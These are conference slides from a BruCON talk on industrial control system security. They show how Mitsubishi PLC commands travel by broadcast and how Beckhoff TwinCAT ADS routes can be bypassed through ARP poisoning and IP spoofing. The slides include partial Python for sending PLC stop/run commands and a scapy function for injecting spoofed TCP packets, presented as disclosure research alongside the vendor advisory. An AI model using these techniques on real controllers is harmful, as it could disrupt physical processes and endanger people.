BruCON 0x0B Engineers At Risk

ARTIFICIAL INTELLIGENCE  BLOCKCHAIN  CYBER SECURITY

EDUCATION - RESEARCH - CONSULTING

Ing. Tijl Deneut
Ing. Tinus Umans
Who am I?

Tijl Deneut

- Researcher and lecturer at Howest University College
  - Applied Computer Sciences, Computer and Cyber Crime Professional
  - Researcher Ghent University campus Kortrijk
- Ethical Hacker
- Background in IT security, using this perspective on Industrial Control Systems
  
tijl.deneut@howest.be
  www.linkedin.com/in/tijldeneut

- Co worker on this project: Tinus Umans
  - Engineer Industrial Automation
  - Researcher at University Ghent campus Kortrijk
  
tinus.umans@ugent.be
  https://www.linkedin.com/in/tinus-umans-829764116/
XiaK research group
Experts in industrial automation

Security & Privacy research group
Experts in cyber security, blockchain & AI
So what are “Industrial Control Systems”

“An ICS is a broad class of command and control networks and systems that are used to support all types of industrial processes.”

They include a variety of system types including:
• Supervisory Control And Data Acquisition (SCADA) systems,
• Distributed Control Systems (DCS),
• Process Control Systems (PCS),
• Safety Instrumented Systems (SIS),
• smaller control systems configurations such as Programmable Logic Controllers (PLC’s).

The term “OT” is actually never used on the factory floor. It is only used by IT people to distinguish themselves ...
Where can I find ICS systems?
How does that look like?

Office

Industrial Control Systems

Supervision Network

Production Network
What’s inside?

Office

- Corporate IT
- ERP server
- Production management systems

Industrial Control Systems

- SCADA Servers
- Supervision Consoles
- Engineering Stations

Supervision Network

- Historians / Logging Server

Production Network

- HMI
- PLC
- Industrial networks
- Sensors
- Robots
- Drives
And what’s the big deal?

Several migrations have happened over time:

- ± 15 years ago: all systems still used fieldbus protocols
  - There was a movement to Ethernet based protocols

- ± 10 years ago: networking became abundant, everything started to become intra connected
  - Engineers / operators / managers connecting to their production devices from everywhere in the company

- ± 5 years ago: the age of IoT, Big Data and Industry 4.0
  - Engineers / operators / managers want to monitor, manage and connect to their production devices from at home

And all this using protocols that were developed +40 years ago and have zero support for security, authentication, encryption ...
And what’s the big deal?

what can go wrong?
Incidents are on the rise

New Type of Cyberattack Targets Factory Safety
Malicious software Triton was able to manipulate Schneider Electric devices’ memory and run unauthorized code. A zero-day vulnerability was the root cause.

Russian hackers penetrated networks of U.S. electric utilities: WSJ
(Reuters) - Russian hackers gained access to the networks of U.S. electric utilities last year, which could have allowed them to cause blackouts, according to federal government officials, who said the campaign is likely continuing. The Wall Street Journal reported on Monday.

The Wall Creek Nuclear power plant in Kansas in 2018. The organization that runs the plant was targeted by hackers. David Balkin / The Associated Press

Hackers Could Blow Up Factories Using Smartphone Apps
Researchers have found worrying security holes in apps companies use to control industrial processes.
Martin Giles January 11, 2018

Virus shuts down factories of major iPhone component manufacturer TSMC

A Cyberattack in Saudi Arabia Had a Deadly Goal. Experts Fear Another Try.
Weakest links

1. Network and network components
2. Unhardened systems
3. Passwords
4. Shared accounts
5. Administrative accounts
6. Employees

Source: ICS-CERT.US-CERT.gov
Main sources of infiltrations/infections

1. Hackers
2. Employees
3. Unknown sources
4. (H)Activists
5. Organized Crime
6. Suppliers

Source: ICS-CERT.US-CERT.gov
An example: Mitsubishi Protocol Analysis
Programming a Mitsubishi PLC

![Image of network capture data](image.png)

- Time: 0.000000
- Source: 192.168.1.250
- Destination: 255.255.255.255
- Protocol: UDP
- Length: 46

Frame 9: 119 bytes on wire (952 bits), 119 bytes captured (952 bits) on Interface 0
- Ethernet II, Src: Mitsubishi_28:4f:08 (00:0b:48:12:0f:08), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
- User Datagram Protocol, Src Port: 5568, Dst Port: 58290

Data (77 bytes):
- Data: 0100000011111f0000000a0300ff00000000009e0a18...
  [Length: 77]
Scanning for Mitsubishi PLCs

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>0.000000</td>
<td>172.20.0.102</td>
<td>255.255.255.255</td>
<td>UDP</td>
<td>93</td>
<td>5561 → 5561 Len=51</td>
</tr>
<tr>
<td>2</td>
<td>0.002131</td>
<td>192.168.3.250</td>
<td>255.255.255.255</td>
<td>UDP</td>
<td>151</td>
<td>5561 → 5561 Len=109</td>
</tr>
</tbody>
</table>

Frame 1: 93 bytes on wire (744 bits), 93 bytes captured (744 bits) on interface 0
Ethernet II, Src: VMware_13:0c:7a (00:0c:29:18:0c:7a), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
Internet Protocol Version 4, Src: 172.20.0.102, Dst: 255.255.255.255
User Datagram Protocol, Src Port: 5561, Dst Port: 5561
Data (51 bytes)
  Data: 570100000011110700000ff0300000c03000001c001c0a16... [Length: 51]
Broadcasts? But why?

Many protocols have been created with the ease of the engineers in mind:

- Sending all packets to 255.255.255.255 / FF:FF:FF:FF:FF:FF is easy to use because the workstation and PLC do not have to be in the same subnet to be able to communicate to each other
  - So this protocol works “Out-Of-The-Box”
  - So there is no need to have a valid IP address on your computer, easy right?

- Unfortunately this also means that all traffic is being delivered to every other device in the network
  - Problem anyone?

- Please note: once the workstation and PLC are in the same subnet, TCP is used and a more “regular” way of communicating occurs
Normal protocol
Creating scripts

```python
def sendSTOP(srcIP):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    s.bind((srcIP,0))
    print('Now sending the command ...')
    data = '
    response = send_and_recv(s,'255.255.255.255',5560,data)
    if binascii.hexlify(response)[-8:] == '09000000': print('Should\'ve worked')
    s.close()
```

```python
def sendRUN(srcIP):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    s.bind((srcIP,0))
    print('Now sending the command ...')
    data = '
    response = send_and_recv(s,'255.255.255.255',5560,data)
    if binascii.hexlify(response)[-8:] == '09000000': print('Should\'ve worked')
    s.close()
```

Conclusion: access to the network is game over for these PLC’s
Mitsubishi PLC Software is called “GX Works”
Other general issue: limited OS support

<table>
<thead>
<tr>
<th>OS/Software</th>
<th>RSLinx 5000</th>
<th>RSLogix 5000</th>
<th>RSLogix 5000</th>
<th>RSLogix 5000</th>
<th>Studio 5000</th>
<th>RSLogix Designer</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows 7 Enterprise SP1 32-bit</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 7 Enterprise SP1 64-bit</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 7 Home Premium (32-bit)</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 7 Home Premium (64-bit)</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 7 Home Premium SP1 32-bit</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 7 Home Premium SP1 64-bit</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 7 Professional (32-bit)</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 7 Professional (64-bit)</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 7 Professional SP1 (32-bit)</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 7 Professional SP1 (64-bit)</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 7 Ultimate SP1 32-bit</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 7 Ultimate SP1 64-bit</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 8 (home) 32-Bit</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 8 (home) 64-Bit</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 8 Enterprise 32-Bit</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 8 Enterprise 64-Bit</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 8 Professional 32-Bit</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 8 Professional 64-Bit</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 8.1 Enterprise 32-Bit</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 8.1 Enterprise 64-Bit</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 8.1 Professional 32-Bit</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows 8.1 Professional 64-Bit</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows Vista Business (32-bit)</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows XP Pro (32-bit)</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows XP Pro SP1 (32-bit)</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows XP Pro SP2 (32-bit)</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
<tr>
<td>Windows XP Pro SP3 (32-bit)</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
<td>✗</td>
</tr>
</tbody>
</table>
So what if: a PLC vendor tries really hard

There is one vendor (that I know of), that does things entirely differently:

• This vendor uses off the shelf Operating Systems for PLC’s
  • Windows all the way (albeit sometimes WinCE or Embedded versions)

• This vendor even calls its controllers Industrial Personal Computers (IPC) or Embedded PC’s
  • They technically do not sell PLCs but do refer to the software as PLC software

• Almost all their devices have DVI/HDMI, USB, Compact Flash (or CFAST), Ethernet from the very beginning

• They stick with mostly known protocols like EtherCat, RDP, ADS that are not only known by Wireshark but also very well described in their online InfoSys website
Security?

And foremost: this vendor has implemented programming and access security from the beginning of their controller product line

- Mostly based on Windows security, which has its pros and cons
  - E.g. until today, all passwords are stored in Windows environments

- But they also implement their very own security implementation to allow communication
Is Beckhoff being used?
Didn’t you already mentioned this?
Yes, last year, a vulnerability on authentication bypass for the Remote Display service on Windows CE was shown. Windows CE is still being used on their cheapest devices.
So what’s next?

We decided to take them at their word and actually look at:

The security of running the newest version of Beckhoff software on the newest possible version of Windows.

Let’s perform a deep dive:
- How does the built-in security work?
- How can we play with this?

→ Research & development in conjunction with Tinus Umans
So what software does a Beckhoff engineer use?

• Beckhoff uses Windows Operating Systems on their controllers
• Engineers use Microsoft Visual Studio as the default programming environment

• The only thing Engineers have to do to start programming controllers is install the TwinCAT 3 eXtended Automation Engineering software
• It is free to download at www.beckhoff.com/twincat3 and the most recent version is 3.1.4024.0 (build date 2019-07-24)
What is this Beckhoff security-by-design?

TwinCAT 3 within Visual Studio supports the IEC 61131-3 standard: Ladder, Function Block Diagram, Structured Text, ...

However: Beckhoff control & programming communication security is done by using TwinCAT Routes

- TwinCAT Routes have nothing to do with IP routes
- A TwinCAT route defines that a device (being it a controller, laptop, HMI, I/O ...) is allowed to respond to any questions (on port TCP/48898)
- TwinCAT routes are required on each device that is supposed to communicate with any other device
Examples
Protocols

TwinCAT (Automation Machine Specification) is the name of the software. However, the protocol used to communicate is called AMS (Automation Machine Specification), which defaults to TCP/48898. An AMS message contains the ADS (Automation Device Specification), which is used to control, manage and program the controllers.

→ ADS uses the concept of an IP address together with an "AmsNetID", this is a unique ID per device.

→ This ID defaults to the original IP during installation plus " .1.1" (e.g. 192.168.0.1.1.1)

→ This ID is detectable via Beckhoff Discovery.
Discovery?

Just like almost every Industrial Vendor, Beckhoff devices respond to certain discovery packets. This is a different protocol altogether (because routes are nonexistent at this time), so Information Disclosure guaranteed …

→ UDP /48899

Adding Routes Remotely?

→ Is also done via AMS – over UDP

→ Adding Routes requires (any) local Windows credential: can be sent clear text or encrypted

DEMO
So, security?

So as it turns out: the **only** security measure for ADS communication is the IP address that is in the list of Routes ...

→ So can we bypass a restriction that is based purely on source IP Address?

*Solution: IP Spoofing*

By sending packets coming from different IP addresses we can “discover” the possible routes that are present.

Done in two parts:
1. ARP Poison
2. ADS Verification packet
1. ARP Poisoning? What’s that.

Problem: if a response is triggered coming from a certain IP address, that response will be sent to the device that actually has that IP address. (e.g. by performing an ARP request for that device).

So we need to tell the target our MAC address for that specific IP address

-> This is called “ARP Spoofing”
2. Sending a single ADS packet

This too has to be “spoofed”, so using a fake IP address as a source for this packet

```python
def spoofTCP.Packet(oSrcAdapter, sSrcIP, sTargetIP, iDPort, dPacket):
    # SYN
    sport=random.randint(1024, 65535)
    ip=scapy.IP(src=sSrcIP, dst=sTargetIP)
    SYN=scapy.TCP(sport=sport, dport=iDPort, flags='S', seq=1000)
    SYNACK=scapy.sr1(ip=ip, timeout=TIMEOUT)
    if SYNACK is None: return SYNACK ## No SYN/ACK back, ARP Spoofing problem or port not open
    # ACK
    ACK=scapy.TCP(sport=sport, dport=iDPort, flags='A', seq=SYNACK.ack, ack=SYNACK.seq + 1)
    scapy.send(ip=ACK)
    # TCP DATA
    scapy.conf.verb = 0
    oIP=scapy.IP(src=sSrcIP, dst=sTargetIP)
    oTCP=scapy.TCP(sport=sport, dport=iDPort, flags='PA', seq=SYNACK.ack, ack=SYNACK.seq + 1)
    oRAW=scapy.Raw(load=dPacket)
    oResp = scapy.sr1(oIP/oTCP/oRAW, timeout=TIMEOUT)
    # FIN
    FINACK = None
    if not oResp is None:
        FIN=scapy.TCP(sport=sport, dport=iDPort, flags='FA', seq=oResp.ack, ack=oResp.seq + 1)
        FINACK=scapy.sr1(ip=FIN, timeout=TIMEOUT)
    if not FINACK is None:
        LASTACK=scapy.TCP(sport=sport, dport=iDPort, flags='A', seq=FINACK.ack, ack=FINACK.seq + 1)
        scapy.send(ip=LASTACK)
    return oResp
```

I want to see that in action, please?

OK
Wait? What was that?

- Yes! As it turns out: once we have a route installed, default ADS communication is possible.
- We are now essentially a different ADS device: an IPC, an engineering PC, an HMI ...
- TwinCAT ADS is a language that is defined by Function Blocks, to perform actions on devices.
- Examples of those actions are
  - Reading out variables
  - Setting outputs and inputs
  - Setting the Controller state to Stop, Run or Config mode
  - (Re)Programming the internal project
  - And adding routes without any additional authentication
  - ... And as it turns out: a lot more ...
More ADS actions?

There is a website for that:

Want to go further?

There is a website for that:

A little bonus

We can use this to bypass a Kiosk System too

DEMO
Conclusion

The prerequisites for this attack:

• Engineering system (e.g. laptop) used to program a Beckhoff Device (IPC/HMI/...)

• Has the TwinCAT Runtime installed
  • Which is a requirement when programming with Beckhoff

• Ports open in Firewall (UDP/48899 or TCP/48898)
  • Which is necessary to add remote routes
    → To add a route from an IPC to a workstation, the ports above must be open!! (for some reason)
  • No longer necessary once the remote routes are added

• At least one route configured
  • Which is required to communicate with remote devices

Scripts on our Github soon, together with an extensive article
Big thanks to Tinus Umans for co-writing the scripts
Are there solutions

Euh ...

- Use a Virtual Machine for running Twincat
- Configure Firewalls
- And the official response from the Beckhoff Product-Security CERT:

  “Please refer to Advisory 2017-001”
Official Solution

Beckhoff Security Advisory

Advisory 2017-001: ADS is only designed for use in protected environments

Publication Date: 03/13/2017  
Relevance: Medium

Last Update: 01/29/2019  
Related CVE: CVE-2017-16726

Current Version: 1.2

Summary

ADS is only advised to be used in protected environments, and as such does not provide security properties. Attackers can eavesdrop, manipulate and forge arbitrary packets as in any other cleartext protocol. In case ADS access is possible, various system related services can be used.

Appearance

- TwinCAT 2 / 3

Description

Beckhoff TwinCAT supports communication over ADS. ADS is a protocol for industrial automation in protected environments [1]. ADS has not been designed to achieve security purposes and therefore does not include any encryption algorithms because of their negative effect on performance and throughput.
Want to know more? Join our project

Regulations within the industrial sector

Cyber Security Solutions for Industry 4.0

Innovative Network Monitoring Systems

Or found us at our booth (and join the ICS CTF) 😊
Want to see us speak (longer)?

- Join our free Industrial Security Awareness Session on October 15th, Bruges (Dutch)

- Visit [www.ic4.be](http://www.ic4.be) for more information and free subscriptions

tijl.deneut@howest.be